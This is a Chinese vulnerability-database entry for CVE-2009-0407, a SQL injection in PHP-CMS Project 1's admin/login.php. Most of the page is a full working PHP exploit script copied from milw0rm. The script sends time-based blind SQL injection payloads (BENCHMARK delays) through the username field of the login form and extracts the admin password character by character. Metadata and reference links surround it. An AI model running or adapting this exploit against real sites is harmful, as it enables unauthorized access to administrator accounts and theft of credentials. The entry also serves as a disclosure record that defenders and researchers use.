PHP-CMS Project SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117294 漏洞类型 SQL注入
发布时间 2009-01-26 更新时间 2009-02-04
CVE编号 CVE-2009-0407 CNNVD-ID CNNVD-200902-054
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7876
https://cxsecurity.com/issue/WLB-2009020117
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-054
|漏洞详情
PHP-CMSProject1版本中的admin/login.php存在SQL注入漏洞。远程攻击者可以借助用户名参数,执行任意的SQL指令。
|漏洞EXP
--+++===================================================+++--
--+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++--
--+++===================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
		 "admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
		 "(100000000,CHAR(0)),0) OR '1' = '2";

	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);

	$fp = fsockopen ($hostname, 80);

	$post = "username=".query ($user, $pos, $chr) . "&password=x&Submit=ok";
	
	$req =  "POST {$path}/admin/login.php HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n".
		"Content-Type: application/x-www-form-urlencoded\r\n".
		"Content-Length: " . strlen ($post) . "\r\n\r\n".
		$post;
	
	fputs ($fp, $req);

	$start = time ();
	while (!feof ($fp))
		fgets ($fp, 1024);
	
	$end = time ();

	fclose ($fp);

	if ($end - $start > 4)
		return true;
	else
		return false;
	
}

function usage ()
{
	echo
		"\nPHP-CMS 1 Blind SQL Injection Exploit".
		"\n[+] Author  : darkjoker".
		"\n[+] Site    : http://darkjoker.net23.net".
		"\n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/php-cms-project/phpcms.zip".
		"\n[+] Usage   : php xpl.php <hostname> <path> <username> [<keylist>]".
		"\n[+] Ex.     : php xpl.php localhost /PHPCMS admin abcdefghijklmnopqrstuvwxyz".
		"\n[+] Greetz  : my girlfriend, Vivi".
		"\n\n";
	exit ();
}



if ($argc < 3)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$pos = 1;
$chr = 0;

echo "[+] Password: ";
while ($chr < strlen ($key))
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-26]
|参考资料

来源:XF
名称:phpcms-login-sql-injection(48267)
链接:http://xforce.iss.net/xforce/xfdb/48267
来源:BID
名称:33473
链接:http://www.securityfocus.com/bid/33473
来源:MILW0RM
名称:7876
链接:http://www.milw0rm.com/exploits/7876
来源:VUPEN
名称:ADV-2009-0244
链接:http://www.frsirt.com/english/advisories/2009/0244